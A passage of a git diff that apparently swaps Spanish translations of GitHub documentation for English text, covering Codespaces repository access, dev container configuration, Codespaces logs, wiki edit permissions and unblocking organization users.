or limiting {% data variables.product.prodname_codespaces %} -## Inhabilitar o limitar los {% data variables.product.prodname_codespaces %} +You can disable the use of {% data variables.product.prodname_codespaces %} in your organization or repository. For more information, see "[Managing repository access for your organization's codespaces](/codespaces/managing-codespaces-for-your-organization/managing-access-and-security-for-your-organizations-codespaces)." -Puedes inhabilitar el uso de los {% data variables.product.prodname_codespaces %} en tu organización o repositorio. Para obtener más información, consulta la sección "[Administrar el acceso de un repositorio a los codespces de tu organización](/codespaces/managing-codespaces-for-your-organization/managing-access-and-security-for-your-organizations-codespaces)". +You can also limit the individual users who can use {% data variables.product.prodname_codespaces %}. For more information, see "[Managing user permissions for your organization](/codespaces/managing-codespaces-for-your-organization/managing-user-permissions-for-your-organization)." -También puedes limitar a los usuarios individuales que pueden utilizar {% data variables.product.prodname_codespaces %}. Para obtener más información, consulta la sección "[Administrar los permisos de los usuarios para tu organización](/codespaces/managing-codespaces-for-your-organization/managing-user-permissions-for-your-organization)". +## Deleting unused codespaces -## Borrar los codespaces sin utilizar - -Tus usuarios pueden borrar sus codespaces en https://github.com/codespaces y desde dentro de Visual Studio Code. Para reducir el tamaño de un codespace, los usuarios pueden borrar archivos manualmente en la terminal o desde Visual Studio Code. +Your users can delete their codespaces in https://github.com/codespaces and from within Visual Studio Code. To reduce the size of a codespace, users can manually delete files using the terminal or from within Visual Studio Code. {% note %} -**Nota:** Solo la persona que creó un codespace podrá borrarlo. Actualmente no hay forma de que los propietarios de las organizaciones borren los codespaces que se crearon dentro de su organización. +**Note:** Only the person who created a codespace can delete it. There is currently no way for organization owners to delete codespaces created within their organization. {% endnote %} diff --git a/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md b/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md index addb21186c..10088f39bd 100644 --- a/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md +++ b/translations/es-ES/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md @@ -1,7 +1,7 @@ --- -title: Administrar el acceso de los codespaces de tu organización a los repositorios -shortTitle: Acceso a los repositorios -intro: 'Puedes administrar los repositorios de tu organización a los cuales pueden acceder los {% data variables.product.prodname_codespaces %}.' +title: Managing repository access for your organization's codespaces +shortTitle: Repository access +intro: 'You can manage the repositories in your organization that {% data variables.product.prodname_codespaces %} can access.' product: '{% data reusables.gated-features.codespaces %}' permissions: 'To manage access and security for Codespaces for an organization, you must be an organization owner.' versions: @@ -18,16 +18,18 @@ redirect_from: - /codespaces/working-with-your-codespace/managing-access-and-security-for-codespaces --- -Predeterminadamente, un codespace solo puede acceer al repositorio en donde se creó. Cuando habilitas el acceso y la seguridad de un repositorio que pertenece a tu orgnización, cualquier codespace que se cree para dicho repositorio también tendrá permisos de lectura y escritura en el resto de los repositorios que pertenezcan a esa misma organización y a los cuales pueda acceder el creador de dicho codespace. Si quieres restringir los repositorios a los cuales puede acceder un codespace, puedes limitarlos a ya sea el repositorio en donde se creó el codespace o a algunos repositorios específicos. Solo debes habilitar el acceso y la seguridad para los repositorios en los cuales confíes. +By default, a codespace can only access the repository where it was created. When you enable access and security for a repository owned by your organization, any codespaces that are created for that repository will also have read permissions to all other repositories the organization owns and the codespace creator has permissions to access. If you want to restrict the repositories a codespace can access, you can limit it to either the repository where the codespace was created, or to specific repositories. You should only enable access and security for repositories you trust. -Para administrar qué usuarios de tu organización pueden utilizar {% data variables.product.prodname_codespaces %}, consulta la sección "[Administrar permisos de usuarios para tu organización](/codespaces/managing-codespaces-for-your-organization/managing-user-permissions-for-your-organization)". +To manage which users in your organization can use {% data variables.product.prodname_codespaces %}, see "[Managing user permissions for your organization](/codespaces/managing-codespaces-for-your-organization/managing-user-permissions-for-your-organization)." {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.click-codespaces %} -1. Debajo de "Acceso y seguridad", selecciona la configuración que quieras para tu organización.![Botones radiales para adminsitrar los repositorios confiables](/assets/images/help/settings/codespaces-org-access-and-security-radio-buttons.png) -1. Si eliges "Repositorios seleccionados"; entonces selecciona el menú desplegable y da clic en un repositorio para permitir que los codespaces de éste accedan al resto de los repositorios que pertenecen a tu organización. Repite esto para todos los repositorios cuyos codespaces quieras que accedan al resto de los repositorios. ![Menú desplegable de "Repositorios seleccionados"](/assets/images/help/settings/codespaces-access-and-security-repository-drop-down.png) +1. Under "Access and security", select the setting you want for your organization. + ![Radio buttons to manage trusted repositories](/assets/images/help/settings/codespaces-org-access-and-security-radio-buttons.png) +1. If you chose "Selected repositories", select the drop-down menu, then click a repository to allow the repository's codespaces to access other repositories owned by your organization. Repeat for all repositories whose codespaces you want to access other repositories. + !["Selected repositories" drop-down menu](/assets/images/help/settings/codespaces-access-and-security-repository-drop-down.png) -## Leer más +## Further Reading -- "[Administrar el acceso a los repositorios para tus codespaces](/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces)" +- "[Managing repository access for your codespaces](/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces)" diff --git a/translations/es-ES/content/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces.md b/translations/es-ES/content/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces.md index 249a03dfcc..e9697dc331 100644 --- a/translations/es-ES/content/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces.md +++ b/translations/es-ES/content/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces.md @@ -1,7 +1,7 @@ --- -title: Administrar el acceso de tus codespaces a los repositorios -shortTitle: Acceso a los repositorios -intro: 'Puedes administrar los repositorios a los cuales pueden acceder los {% data variables.product.prodname_codespaces %}.' +title: Managing repository access for your codespaces +shortTitle: Repository access +intro: 'You can manage the repositories that {% data variables.product.prodname_codespaces %} can access.' product: '{% data reusables.gated-features.codespaces %}' versions: fpt: '*' @@ -15,13 +15,15 @@ redirect_from: -Cuando habilitas el acceso y la seguridad de un repositorio que pertenezca a tu cuenta de usuario, cualquier codespace que se cree para este tendrá permisos de lectura en el resto de los repositorios que te pertenezcan. Si quieres restringir los repositorios a los que puede acceder un codespace, puedes limitarlos a ya sea el repositorio para el cual se abrió el codespace o a repositorios específicos. Solo debes habilitar el acceso y la seguridad para los repositorios en los cuales confíes. +When you enable access and security for a repository owned by your user account, any codespaces that are created for that repository will have read permissions to all other repositories you own. If you want to restrict the repositories a codespace can access, you can limit to it to either the repository the codespace was opened for or specific repositories. You should only enable access and security for repositories you trust. {% data reusables.user_settings.access_settings %} {% data reusables.user_settings.codespaces-tab %} -1. Debajo de "Acceso y seguridad"; selecciona la configuración que quieras para tu cuenta de usurio. ![Botones radiales para adminsitrar los repositorios confiables](/assets/images/help/settings/codespaces-access-and-security-radio-buttons.png) -1. Si eliges "Repositorios seleccionados", selecciona el menú desplegable y luego da clic en un repositorio para permitir que los codespaces de éste accedan al resto de los repositorios que te pertenecen. Repite esto para todos los repositorios cuyos codespaces quieras que accedan al resto de tus repositorios. ![Menú desplegable de "Repositorios seleccionados"](/assets/images/help/settings/codespaces-access-and-security-repository-drop-down.png) +1. Under "Access and security", select the setting you want for your user account. + ![Radio buttons to manage trusted repositories](/assets/images/help/settings/codespaces-access-and-security-radio-buttons.png) +1. If you chose "Selected repositories", select the drop-down menu, then click a repository to allow the repository's codespaces to access other repositories you own. Repeat for all repositories whose codespaces you want to access other repositories you own. + !["Selected repositories" drop-down menu](/assets/images/help/settings/codespaces-access-and-security-repository-drop-down.png) -## Leer más +## Further Reading - "[Managing repository access for your organization's codespaces](/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces)" diff --git a/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/configuring-codespaces-for-your-project.md b/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/configuring-codespaces-for-your-project.md new file mode 100644 index 0000000000..1b2d962e19 --- /dev/null +++ b/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/configuring-codespaces-for-your-project.md @@ -0,0 +1,173 @@ +--- +title: Introduction to dev containers +intro: 'You can use a `devcontainer.json` file to define a {% data variables.product.prodname_codespaces %} environment for your repository.' +allowTitleToDifferFromFilename: true +permissions: People with write permissions to a repository can create or edit the codespace configuration. +redirect_from: + - /github/developing-online-with-github-codespaces/configuring-github-codespaces-for-your-project + - /codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project + - /github/developing-online-with-codespaces/configuring-codespaces-for-your-project + - /codespaces/customizing-your-codespace/configuring-codespaces-for-your-project +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Codespaces + - Set up + - Fundamentals +product: '{% data reusables.gated-features.codespaces %}' +--- + + + +## About dev containers + +A development container, or dev container, is the environment that {% data variables.product.prodname_codespaces %} uses to provide the tools and runtimes that your project needs for development. If your project does not already have a dev container defined, {% data variables.product.prodname_codespaces %} will use the default configuration, which contains many of the common tools that your team might need for development with your project. For more information, see "[Using the default configuration](#using-the-default-configuration)." + +If you want all users of your project to have a consistent environment that is tailored to your project, you can add a dev container to your repository. You can use a predefined configuration to select a common configuration for various project types with the option to further customize your project or you can create your own custom configuration. For more information, see "[Using a predefined container configuration](#using-a-predefined-container-configuration)" and "[Creating a custom codespace configuration](#creating-a-custom-codespace-configuration)." The option you choose is dependent on the tools, runtimes, dependencies, and workflows that a user might need to be successful with your project. + +{% data variables.product.prodname_codespaces %} allows for customization on a per-project and per-branch basis with a `devcontainer.json` file. This configuration file determines the environment of every new codespace anyone creates for your repository by defining a development container that can include frameworks, tools, extensions, and port forwarding. A Dockerfile can also be used alongside the `devcontainer.json` file in the `.devcontainer` folder to define everything required to create a container image. + +### devcontainer.json + +{% data reusables.codespaces.devcontainer-location %} + +You can use your `devcontainer.json` to set default settings for the entire codespace environment, including the editor, but you can also set editor-specific settings for individual [workspaces](https://code.visualstudio.com/docs/editor/workspaces) in a codespace in a file named `.vscode/settings.json`. + +For information about the settings and properties that you can set in a `devcontainer.json`, see [devcontainer.json reference](https://aka.ms/vscode-remote/devcontainer.json) in the {% data variables.product.prodname_vscode %} documentation. + +### Dockerfile + +A Dockerfile also lives in the `.devcontainer` folder. + +You can add a Dockerfile to your project to define a container image and install software. In the Dockerfile, you can use `FROM` to specify the container image. + +```Dockerfile +FROM mcr.microsoft.com/vscode/devcontainers/javascript-node:0-14 + +# ** [Optional] Uncomment this section to install additional packages. ** +# USER root +# +# RUN apt-get update && export DEBIAN_FRONTEND=noninteractive \ +# && apt-get -y install --no-install-recommends +# +# USER codespace +``` + +You can use the `RUN` instruction to install any software and `&&` to join commands. + +Reference your Dockerfile in your `devcontainer.json` file by using the `dockerfile` property. + +```json +{ + ... + "build": { "dockerfile": "Dockerfile" }, + ... +} +``` + +For more information on using a Dockerfile in a dev container, see [Create a development container](https://code.visualstudio.com/docs/remote/create-dev-container#_dockerfile) in the {% data variables.product.prodname_vscode %} documentation. + +## Using the default configuration + +If you don't define a configuration in your repository, {% data variables.product.prodname_dotcom %} creates a codespace with a base Linux image. The base Linux image includes languages and runtimes like Python, Node.js, JavaScript, TypeScript, C++, Java, .NET, PHP, PowerShell, Go, Ruby, and Rust. It also includes other developer tools and utilities like git, GitHub CLI, yarn, openssh, and vim. To see all the languages, runtimes, and tools that are included use the `devcontainer-info content-url` command inside your codespace terminal and follow the url that the command outputs. + +Alternatively, for more information about everything that is included in the base Linux image, see the latest file in the [`microsoft/vscode-dev-containers`](https://github.com/microsoft/vscode-dev-containers/tree/main/containers/codespaces-linux) repository. + +The default configuration is a good option if you're working on a small project that uses the languages and tools that {% data variables.product.prodname_codespaces %} provides. + + +## Using a predefined container configuration + +Predefined container definitions include a common configuration for a particular project type, and can help you quickly get started with a configuration that already has the appropriate container options, {% data variables.product.prodname_vscode %} settings, and {% data variables.product.prodname_vscode %} extensions that should be installed. + +Using a predefined configuration is a great idea if you need some additional extensibility. You can also start with a predefined configuration and amend it as needed for your project's setup. + +{% data reusables.codespaces.command-palette-container %} +1. Click the definition you want to use. + ![List of predefined container definitions](/assets/images/help/codespaces/predefined-container-definitions-list.png) +1. Follow the prompts to customize your definition. For more information on the options to customize your definition, see "[Adding additional features to your `devcontainer.json` file](#adding-additional-features-to-your-devcontainerjson-file)." +1. Click **OK**. + ![OK button](/assets/images/help/codespaces/prebuilt-container-ok-button.png) +1. To apply the changes, in the bottom right corner of the screen, click **Rebuild now**. For more information about rebuilding your container, see "[Applying changes to your configuration](#applying-changes-to-your-configuration)." + !["Codespaces: Rebuild Container" in the {% data variables.product.prodname_vscode_command_palette %}](/assets/images/help/codespaces/rebuild-prompt.png) + +### Adding additional features to your `devcontainer.json` file + +{% note %} + +**Note:** This feature is in beta and subject to change. + +{% endnote %} + +You can add features to your predefined container configuration to customize which tools are available and extend the functionality of your workspace without creating a custom codespace configuration. For example, you could use a predefined container configuration and add the {% data variables.product.prodname_cli %} as well. You can make these additional features available for your project by adding the features to your `devcontainer.json` file when you set up your container configuration. + +You can add some of the most common features by selecting them when configuring your predefined container. For more information on the available features, see the [script library](https://github.com/microsoft/vscode-dev-containers/tree/main/script-library#scripts) in the `vscode-dev-containers` repository. + +![The select additional features menu during container configuration.](/assets/images/help/codespaces/select-additional-features.png) + +You can also add or remove features outside of the **Add Development Container Configuration Files** workflow. +1. Access the Command Palette (`Shift + Command + P` / `Ctrl + Shift + P`), then start typing "configure". Select **Codespaces: Configure Devcontainer Features**. + ![The Configure Devcontainer Features command in the command palette](/assets/images/help/codespaces/codespaces-configure-features.png) +2. Update your feature selections, then click **OK**. + ![The select additional features menu during container configuration.](/assets/images/help/codespaces/select-additional-features.png) +1. To apply the changes, in the bottom right corner of the screen, click **Rebuild now**. For more information about rebuilding your container, see "[Applying changes to your configuration](#applying-changes-to-your-configuration)." + !["Codespaces: Rebuild Container" in the command palette](/assets/images/help/codespaces/rebuild-prompt.png) + + +## Creating a custom codespace configuration + +If none of the predefined configurations meet your needs, you can create a custom configuration by adding a `devcontainer.json` file. {% data reusables.codespaces.devcontainer-location %} + +In the file, you can use [supported configuration keys](https://code.visualstudio.com/docs/remote/devcontainerjson-reference) to specify aspects of the codespace's environment, like which {% data variables.product.prodname_vscode %} extensions will be installed. + +{% data reusables.codespaces.vscode-settings-order %} + +You can define default editor settings for {% data variables.product.prodname_vscode %} in two places. + +* Editor settings defined in `.vscode/settings.json` are applied as _Workspace_-scoped settings in the codespace. +* Editor settings defined in the `settings` key in `devcontainer.json` are applied as _Remote [Codespaces]_-scoped settings in the codespace. + +After updating the `devcontainer.json` file, you can rebuild the container for your codespace to apply the changes. For more information, see "[Applying changes to your configuration](#applying-changes-to-your-configuration)." + + + +## Applying changes to your configuration + +{% data reusables.codespaces.apply-devcontainer-changes %} + +{% data reusables.codespaces.rebuild-command %} +1. {% data reusables.codespaces.recovery-mode %} Fix the errors in the configuration. + ![Error message about recovery mode](/assets/images/help/codespaces/recovery-mode-error-message.png) + - To diagnose the error by reviewing the creation logs, click **View creation log**. + - To fix the errors identified in the logs, update your `devcontainer.json` file. + - To apply the changes, rebuild your container. diff --git a/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces.md b/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces.md new file mode 100644 index 0000000000..6e68ed79d6 --- /dev/null +++ b/translations/es-ES/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces.md @@ -0,0 +1,19 @@ +--- +title: Adding a dev container to your repository +shortTitle: Add a dev container to your repository +allowTitleToDifferFromFilename: true +intro: 'Get started with your Node.js, Python, .NET, or Java project in {% data variables.product.prodname_codespaces %} by creating a custom dev container.' +product: '{% data reusables.gated-features.codespaces %}' +versions: + fpt: '*' +type: tutorial +topics: + - Codespaces + - Developer + - Node + - JavaScript +hasExperimentalAlternative: true +interactive: true +--- + + \ No newline at end of file diff --git a/translations/es-ES/content/codespaces/troubleshooting/codespaces-logs.md b/translations/es-ES/content/codespaces/troubleshooting/codespaces-logs.md index c05065b5b7..eb074bda04 100644 --- a/translations/es-ES/content/codespaces/troubleshooting/codespaces-logs.md +++ b/translations/es-ES/content/codespaces/troubleshooting/codespaces-logs.md @@ -1,6 +1,6 @@ --- -title: Bitácoras de los codespaces -intro: 'Resumen de las ubicaciones de inicio de sesión que utiliza {% data variables.product.prodname_codespaces %}.' +title: Codespaces logs +intro: 'Overview of the logging locations used by {% data variables.product.prodname_codespaces %}.' product: '{% data reusables.gated-features.codespaces %}' versions: fpt: '*' @@ -9,35 +9,35 @@ type: reference topics: - Codespaces - Logging -shortTitle: Bitácoras de los codespaces +shortTitle: Codespaces logs --- -La información de {% data variables.product.prodname_codespaces %} se emite en tres bitácoras diferentes: +Information on {% data variables.product.prodname_codespaces %} is output to three different logs: -- Bitácoras de Codespace -- Bitácoras de creación -- Bitácoras de extensión (en {% data variables.product.prodname_vscode %} para escritorio) o bitácoras de consola de buscador (en {% data variables.product.prodname_vscode %} web) +- Codespace logs +- Creation logs +- Extension logs ({% data variables.product.prodname_vscode %} desktop) or Browser console logs ({% data variables.product.prodname_vscode %} in the web) -## Bitácoras de Codespace +## Codespace logs -Estas bitácoras contienen información detallada sobre los codespaces, el contenedor, la sesión y el ambiente de {% data variables.product.prodname_vscode %}. Son útiles para diagnosticar los problemas de conexión y otros comportamientos inesperados. Por ejemplo, el codespace se congela pero la opción de "Recargar Windows" lo descongela por algunos minutos, o se te desconecta aleatoriamente del codespace, pero te puedes volver a conectar de inmediato. +These logs contain detailed information about the codespace, the container, the session, and the {% data variables.product.prodname_vscode %} environment. They are useful for diagnosing connection issues and other unexpected behavior. For example, the codespace freezes but the "Reload Windows" option unfreezes it for a few minutes, or you are randomly disconnected from the codespace but able to reconnect immediately. {% include tool-switcher %} - + {% webui %} -1. Si estás utilizando {% data variables.product.prodname_codespaces %} en el buscador, asegúrate de que estés conectado al codespace que quieres depurar. -1. Open the {% data variables.product.prodname_vscode %} Command Palette (`Shift + Command + P` (Mac) / `Ctrl + Shift + P` (Windows)) and type **Export logs**. Selecciona **Codespaces: Exportar Bitácoras** de la lista para descargar las bitácoras. -1. Define dónde guardar el archivo zip de las bitácoras y luego haz clic en **Guardar** (escritorio) o en **OK** (web). -1. Si estás utilizando {% data variables.product.prodname_codespaces %} en el buscador, haz clic derecho en el archivo zip de las bitácoras desde la vista de explorador y selecciona **Download…** para descargarlas en tu máquina local. +1. If you are using {% data variables.product.prodname_codespaces %} in the browser, ensure that you are connected to the codespace you want to debug. +1. Open the {% data variables.product.prodname_vscode %} Command Palette (`Shift + Command + P` (Mac) / `Ctrl + Shift + P` (Windows)) and type **Export logs**. Select **Codespaces: Export Logs** from the list to download the logs. +1. Define where to save the zip archive of logs then click **Save** (desktop) or click **OK** (web). +1. If you are using {% data variables.product.prodname_codespaces %} in the browser, right-click on the zip archive of logs from the Explorer view and select **Download…** to download them to your local machine. {% endwebui %} - + {% vscode %} -1. Open the {% data variables.product.prodname_vscode %} Command Palette (`Shift + Command + P` (Mac) / `Ctrl + Shift + P` (Windows)) and type **Export logs**. Selecciona **Codespaces: Exportar Bitácoras** de la lista para descargar las bitácoras. -1. Define dónde guardar el archivo zip de las bitácoras y luego haz clic en **Guardar** (escritorio) o en **OK** (web). +1. Open the {% data variables.product.prodname_vscode %} Command Palette (`Shift + Command + P` (Mac) / `Ctrl + Shift + P` (Windows)) and type **Export logs**. Select **Codespaces: Export Logs** from the list to download the logs. +1. Define where to save the zip archive of logs then click **Save** (desktop) or click **OK** (web). {% endvscode %} @@ -47,26 +47,26 @@ Currently you can't use {% data variables.product.prodname_cli %} to access thes {% endcli %} -## Bitácoras de creación +## Creation logs -Estas bitácoras contienen información sobre el contenedor, el contenedor dev y sus configuraciones. Son útiles para depurar la configuración y solucionar problemas. +These logs contain information about the container, dev container, and their configuration. They are useful for debugging configuration and setup problems. {% include tool-switcher %} - + {% webui %} -1. Conéctate al codespace que quieras depurar. -2. Open the {% data variables.product.prodname_vscode_command_palette %} (`Shift + Command + P` (Mac) / `Ctrl + Shift + P` (Windows)) and type **Creation logs**. Selecciona **Codespaces: View Creation Log** de la lista para abrir el archivo `creation.log`. +1. Connect to the codespace you want to debug. +2. Open the {% data variables.product.prodname_vscode_command_palette %} (`Shift + Command + P` (Mac) / `Ctrl + Shift + P` (Windows)) and type **Creation logs**. Select **Codespaces: View Creation Log** from the list to open the `creation.log` file. -Si quieres compartir la bitácora con soporte, puedes copiar el texto de la bitácora de creación en un editor de texto y guardar el archivo localmente. +If you want to share the log with support, you can copy the text from the creation log into a text editor and save the file locally. {% endwebui %} - + {% vscode %} -Abre la paleta de comandos (`Shift + Command + P` (Mac) / `Ctrl + Shift + P` (Windows)) y teclea **Creation logs**. Selecciona **Codespaces: View Creation Log** de la lista para abrir el archivo `creation.log`. +Open the Command Palette (`Shift + Command + P` (Mac) / `Ctrl + Shift + P` (Windows)) and type **Creation logs**. Select **Codespaces: View Creation Log** from the list to open the `creation.log` file. -Si quieres compartir la bitácora con soporte, puedes copiar el texto de la bitácora de creación en un editor de texto y guardar el archivo localmente. +If you want to share the log with support, you can copy the text from the creation log into a text editor and save the file locally. {% endvscode %} @@ -90,19 +90,20 @@ gh codespace logs -c > /path/to/logs.txt {% endcli %} -## Bitácoras de extensión +## Extension logs -Estas bitácoras se encuentran disponibles únicamente para los usuarios de escritorio de {% data variables.product.prodname_vscode %}}. Son útiles en caso de que parezca que la extensión de {% data variables.product.prodname_codespaces %} o el editor de {% data variables.product.prodname_vscode %} estén teniendo problemas que prevengan la creación o conexión. +These logs are available for {% data variables.product.prodname_vscode %} desktop users only. They are useful if it seems like the {% data variables.product.prodname_codespaces %} extension or {% data variables.product.prodname_vscode %} editor are having issues that prevent creation or connection. -1. En {% data variables.product.prodname_vscode %}, abre la paleta de comandos. -1. Teclea **Logs** y selecciona **Desarrollador: Abrir la Carpeta de Bitácoras de Extensión** desde la lista para abrir dicha carpeta en el explorador de archivos de tu sistema. +1. In {% data variables.product.prodname_vscode %}, open the Command Palette. +1. Type **Logs** and select **Developer: Open Extension Logs Folder** from the list to open the extension log folder in your system's file explorer. -Desde esta vista, puedes acceder a las bitácoras que generan las diversas extensiones que utilizas en {% data variables.product.prodname_vscode %}. Verás las bitácoras de GitHub Codespaces, GitHub Authentication y Git, adicionalmente a cualquier otra extensión que hayas habilitado. +From this view, you can access logs generated by the various extensions that you use in {% data variables.product.prodname_vscode %}. You will see logs for GitHub Codespaces, GitHub Authentication, and Git, in addition to any other extensions you have enabled. -## Bitácoras de consola de buscador +## Browser console logs -Estas bitácoras son útiles únicamente si quieres depurar problemas con el uso de {% data variables.product.prodname_codespaces %} en el buscador. Son útiles para depurar problemas creando y conectándose a los {% data variables.product.prodname_codespaces %}. +These logs are useful only if you want to debug problems with using {% data variables.product.prodname_codespaces %} in the browser. They are useful for debugging problems creating and connecting to {% data variables.product.prodname_codespaces %}. -1. En la ventana del buscador del codespace que quieres depurar, abre la ventana de herramientas de desarrollador. -1. Muestra la pestaña de "Consola" y haz clic en **errores** en la barra lateral izquierda para mostrar únicamente los errores. -1. En el área de bitácora a la derecha, da clic derecho y selecciona **Guardar como** para guardar una copia de los errores en tu máquina local. ![Guardar los errores](/assets/images/help/codespaces/browser-console-log-save.png) +1. In the browser window for the codespace you want to debug, open the developer tools window. +1. Display the "Console" tab and click **errors** in the left side bar to show only the errors. +1. In the log area on the right, right-click and select **Save as** to save a copy of the errors to your local machine. + ![Save errors](/assets/images/help/codespaces/browser-console-log-save.png) diff --git a/translations/es-ES/content/communities/documenting-your-project-with-wikis/about-wikis.md b/translations/es-ES/content/communities/documenting-your-project-with-wikis/about-wikis.md index 9baf5f7702..9d6ac99ff3 100644 --- a/translations/es-ES/content/communities/documenting-your-project-with-wikis/about-wikis.md +++ b/translations/es-ES/content/communities/documenting-your-project-with-wikis/about-wikis.md @@ -19,7 +19,7 @@ Every repository on {% ifversion ghae %}{% data variables.product.product_name % With wikis, you can write content just like everywhere else on {% data variables.product.product_name %}. For more information, see "[Getting started with writing and formatting on {% data variables.product.prodname_dotcom %}](/articles/getting-started-with-writing-and-formatting-on-github)." We use [our open-source Markup library](https://github.com/github/markup) to convert different formats into HTML, so you can choose to write in Markdown or any other supported format. -{% ifversion fpt or ghes or ghec %}If you create a wiki in a public repository, the wiki is available to {% ifversion ghes %}anyone with access to {% data variables.product.product_location %}{% else %}the public{% endif %}. {% endif %}If you create a wiki in an internal or private repository, only {% ifversion fpt or ghes or ghec %}people{% elsif ghae %}enterprise members{% endif %} with access to the repository can access the wiki. For more information, see "[Setting repository visibility](/articles/setting-repository-visibility)." +{% ifversion fpt or ghes or ghec %}If you create a wiki in a public repository, the wiki is available to {% ifversion ghes %}anyone with access to {% data variables.product.product_location %}{% else %}the public{% endif %}. {% endif %}If you create a wiki in a private{% ifversion ghec or ghes %} or internal{% endif %} repository, only {% ifversion fpt or ghes or ghec %}people{% elsif ghae %}enterprise members{% endif %} with access to the repository can access the wiki. For more information, see "[Setting repository visibility](/articles/setting-repository-visibility)." You can edit wikis directly on {% data variables.product.product_name %}, or you can edit wiki files locally. By default, only people with write access to your repository can make changes to wikis, although you can allow everyone on {% data variables.product.product_location %} to contribute to a wiki in {% ifversion ghae %}an internal{% else %}a public{% endif %} repository. For more information, see "[Changing access permissions for wikis](/communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis)". diff --git a/translations/es-ES/content/communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis.md b/translations/es-ES/content/communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis.md index 25cb665a62..87067666c9 100644 --- a/translations/es-ES/content/communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis.md +++ b/translations/es-ES/content/communities/documenting-your-project-with-wikis/changing-access-permissions-for-wikis.md @@ -1,5 +1,5 @@ --- -title: Cambiar permisos de acceso para wikis +title: Changing access permissions for wikis intro: 'Only repository collaborators can edit a {% ifversion fpt or ghec or ghes %}public{% endif %} repository''s wiki by default, but you can allow anyone with an account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} to edit your wiki.' product: '{% data reusables.gated-features.wikis %}' redirect_from: @@ -12,13 +12,14 @@ versions: ghec: '*' topics: - Community -shortTitle: Cambiar los permisos de acceso +shortTitle: Change access permissions --- {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} -3. En Features (Características), quita la marca de selección de **Restrict edits to collaborators only** (Restringir ediciones a colaboradores solamente). ![Edición de restricción de wikis](/assets/images/help/wiki/wiki_restrict_editing.png) +3. Under Features, unselect **Restrict edits to collaborators only**. + ![Wiki restrict editing](/assets/images/help/wiki/wiki_restrict_editing.png) -## Leer más +## Further reading -- "[Inhabilitar wikis](/communities/documenting-your-project-with-wikis/disabling-wikis)" +- "[Disabling wikis](/communities/documenting-your-project-with-wikis/disabling-wikis)" diff --git a/translations/es-ES/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization.md b/translations/es-ES/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization.md index f082c6ab5d..9d91fc58fd 100644 --- a/translations/es-ES/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization.md +++ b/translations/es-ES/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization.md @@ -1,6 +1,6 @@ --- -title: Desbloquear un usuario desde tu organización -intro: Los propietarios de la organización pueden desbloquear un usuario que se haya bloqueado previamente y restaurar su acceso a los repositorios de la organización. +title: Unblocking a user from your organization +intro: 'Organization owners can unblock a user who was previously blocked, restoring their access to the organization''s repositories.' redirect_from: - /articles/unblocking-a-user-from-your-organization - /github/building-a-strong-community/unblocking-a-user-from-your-organization @@ -9,36 +9,38 @@ versions: ghec: '*' topics: - Community -shortTitle: Desbloquear desde tu organización +shortTitle: Unblock from your org --- -Después de desbloquear un usuario desde tu organización, este podrá contribuir con los repositorios de tu organización. +After unblocking a user from your organization, they'll be able to contribute to your organization's repositories. -Si seleccionaste una cantidad de tiempo específica para bloquear al usuario, se desbloqueará de forma automática cuando termine ese período de tiempo. Para obtener más información, consulta "[Bloquear un usuario de tu organización](/articles/blocking-a-user-from-your-organization)". +If you selected a specific amount of time to block the user, they will be automatically unblocked when that period of time ends. For more information, see "[Blocking a user from your organization](/articles/blocking-a-user-from-your-organization)." {% tip %} -**Sugerencia**: Las configuraciones que se hayan eliminado cuando bloqueaste al usuario de tu organización, como el estado de colaborador, las estrellas y las observaciones, no se restaurarán cuando desbloquees al usuario. +**Tip**: Any settings that were removed when you blocked the user from your organization, such as collaborator status, stars, and watches, will not be restored when you unblock the user. {% endtip %} -## Desbloquear un usuario en un comentario +## Unblocking a user in a comment -1. Navega hasta el comentario cuyo autor quieres desbloquear. -2. En la esquina superior derecha del comentario, haz clic en {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, luego haz clic en **Unblock user** (Desbloquear usuario). ![Ícono kebab horizontal y menú de moderación de comentarios que muestra la opción de desbloquear usuario](/assets/images/help/repository/comment-menu-unblock-user.png) -3. Para confirmar que quieres desbloquear al usuario, haz clic en **Okay**. +1. Navigate to the comment whose author you would like to unblock. +2. In the upper-right corner of the comment, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **Unblock user**. +![The horizontal kebab icon and comment moderation menu showing the unblock user option](/assets/images/help/repository/comment-menu-unblock-user.png) +3. To confirm you would like to unblock the user, click **Okay**. -## Desbloquear un usuario en los parámetros de la organización +## Unblocking a user in the organization settings {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} -{% data reusables.organizations.block_users %} -5. En 